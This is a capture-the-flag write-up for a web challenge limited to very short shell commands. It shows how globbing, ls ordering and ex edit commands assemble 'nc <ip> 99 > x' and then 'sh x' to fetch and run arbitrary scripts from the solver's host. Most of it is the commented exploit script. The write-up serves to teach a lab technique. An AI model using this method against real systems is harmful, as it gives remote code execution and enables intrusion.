# Baby First Revenge v2
**Description**: This is the hardest version! Short enough?

## The challenge
Visiting the URL in the challenge gives:

We can then use globs like `*` to run a command made of 4 character words. For example, we can check the environment variables:

bash:~ $ >env
bash:~ $ *>x # this runs env>x, because * expands to x

Also, we can use `ls` to write data into files:

bash:~ $ >abc
bash:~ $ >def
bash:~ $ ls>x # writes abc\ndef\ņx into x (note that x is included in the result of ls, because it gets created before ls runs)

One problem we are facing here is that the result of `ls` and `*` are both sorted according to the current locale (which appears to be C on the server), so the following wont work:

bash:~ $ >nc
bash:~ $ >-l
bash:~ $ * # does not work: expands to -l nc

But it is still not possible to write words longer than 3 characters, and we're going to need that if we want to connect to any server (unless you don't own a 3 letter domain :).
I got stuck at this point for a long time.
As I couldn't find any way to strip trailing newlines from files allowing me to build longer words with `cat`, I instead looked for some sort of "interpreter" that has short commands (<=3 characters) and is line based.
At first, I tried a solution involving `dc`, a stack based calculator, but as it turns out that command was not installed on the remote system.

Then I found out about `ex`. It was installed on the remote system (as it comes with `vim`) and provides a very succint language to perform editing operations on a file, exactly what we need!

With a lot of help from the `man ex`, here's how to build the command "nc 3645160312 99 > x" (3645160312 is the decimal version of my ip) to allow sending arbitrary scripts to the server (after that, you can just `sh x`, which is 4 characters, to execute any command). You can run this as a bash script:

(Note that all the ex commands need to be carefully constructed since they execute in alphabetic order, so even
if you do `>w` followed `>j`, ls will sort the result and thus `ex` receives `j` followed by `w` as input, not the other way around)
# create a clean working directory for demsonstration, not part of the actual exploit script
mkdir work
cd work
export LC_ALL=C LANG=C # for correct sorting, set same locale as server

# stage 1: create files for the "parts" that we need
ls>x # writes all the file names into x separated by newlines

# some debugging output, this is of course not part of the actual exploit
# x at this point contains: 312 36 451 60 999 > nc x (with newlines instead of spaces)
echo STAGE1 RESULT; cat x

# stage 2: use ex to bring the lines into the correct order
# luckily, ex ignores most invalid commands so even though our directory already contains a lot of files which
# will be included in the output of ls we can still use ls to build ex commands
>2j! # join the 2nd and 3rd line with space, producing 36541 (first part of ip)
>w # save the file ("write")
ls>z # write ex commands into file z
>ex # create the ex file for the following command
*x<z # runs ex x < z to execute `ex` on the file `x` with commands read from `z`

# note that at this point, we cannot delete the file 2j! anymore, so any further ex invocations will
# run the command 2j! as well, keep that in mind

>1m3 # move the first line (312, end of ip) to after line 3 (60, part before end of ip)
# now, 2j! is run to join the second line (312, because first line was moved) with third line (60)

# these commands indent the lines 3 (end of ip), 4 (>) and 6 (x) so that when we join them without space later,
# there's still space between them
>5m0 # move 5th line (nc) to first line

*x<z # run ex again

echo STAGE2 RESULT; cat x

# stage 3: the file is now in the right order, just join them all
# one problem here is that we already have a lot of ex commands in our working directory,
# but we don't want to re-execute them. So we use %, which sorts before everything we've used so
# far, and applies our commands to all lines in the file. %wq saves the changes & q ensures that we quit
# and do not process any further commands

>%j! # join all lines directly, not adding additional space
>%wq # write and quit